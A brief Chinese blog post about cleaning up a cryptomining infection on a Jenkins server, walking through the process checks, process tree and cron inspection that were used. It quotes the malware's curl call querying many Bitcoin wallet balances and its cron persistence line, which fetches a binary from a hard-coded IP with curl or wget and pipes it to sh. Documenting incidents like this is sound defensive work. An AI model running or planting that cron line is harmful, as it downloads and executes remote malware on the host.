为了方便外网同事使用jenkins编译程序,结果中毒了!还好没有带来损失。
查找所有和Jenkins相关的进程
从进程中,我们发现有一个进程非常可疑
以下是访问链接
1
curl -s https://blockchain.info/balance?cors=true&active=1PETrfsS8x6UfC7ktYmX5xkc7Q8Df9q1Qj|1EPe9Sxrh1kYrgju5aMJuS7d3DiqUWtF9D|1QHDSLbeQTVJUiBryNpx6SBXYpTyDr9x66|1Mv8rVuhyRbcizhvqneP932E9WBUkRyRwG|1KnEz1B5SbPosqbFsBBB88DeySyJwpGeLg|1H3gFZbXvTbaxrGNPSUBzyMG6GgA3XuNCs|19UCoreDw3drhWivjKxwqHQDXuTJqoR43X|18HpkeN4tPHtv7ZfpAmZcMuD9JQTWw34cW|1NuUYe9Yh9uVDTwDTUu1wexPYERqJ7xoGe|12JYm61nym1aXAGaTah37foXq1PKzSsKbs|1Pe5RKoTCfkUdBKahjcjJpCnC6SEZiv73k|1DG4Y17pMhX8W7b7T7kpLk7SGPVjhozfvs|1Eepu3rrX5s3QahnL6VxTsLCt9Jk893jxQ|1D18AUn1zu4zbamrvxQtDjDGM7tVebDaBt|18bTnQqAbSxomekA1S69YgstUYbqJ75Wiv|1JZs5m5xwZz6DTK1kyrmbh2TuGurMgEEuu|1kXBrhMdw33oX9PqYwWKFVghSnsWmK36J|16ci4z5Y8CiCX4nK8XEaAA48oiyDseSX7m|1DPCFacH3bQJ4t9Bnx8t26aErWdtbjAzPg|12T1Fxcd6KYFwRNcBUb7baNCbVUDvMeUdC|15SjGWEzZsnbkmVnkP6WJcQgkGfDEdqoPs|1AAnSyzST3sicyayAhR71Gk8wV8GhfbLZc|15kXeDinqdLfL1yv67fNaXj6ExHe8Rfn99|1FGZghmcQgQxguMzGw1osHpSeXLxP7iTuP|17A7iBuDrKutiqyRd3YqKcr2sSBidbqGm6|1FjSQ7EW1WtKfsa6hhE6W7gvUZRxFs5tMn|1AKHNBPXJtbDigZULCLbpcUajYr9cpKztn|1LBWheVjMdNPeEJ3Wjq18MGwoNNT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unQvLyoR8vj7V|1DkkAwkrmSYDfqDVtWkYRL3bJS5cW5w6Fc|1LjbtTT3Q4zoxFYfv4HpjY6C2EczCtXvyW|1NC95PosxV2NJpY9tr22NFNwhhfsSEYbqU|19JHejxEUZEKnQCHgtMPrWVt5wvKW8BbqG|1EYXaB699EMXTQkshrXpTEcZUR5cPDkh9M
删除所有Jenkins相关内容后,隔天发现,进程还是异常的
通过Pid跟踪进程
通过Pid跟踪进程
查看进程树
找到定时任务路径
查看定时任务内容
1
2
3
vim /var/spool/cron/jenkins
*/55 * * * * (curl -s http://185.164.72.119/log_rotate.bin||wget -q -O- http://185.164.72.119/log_rotate.bin)|sh
清除定时任务
Kill进程,持续跟进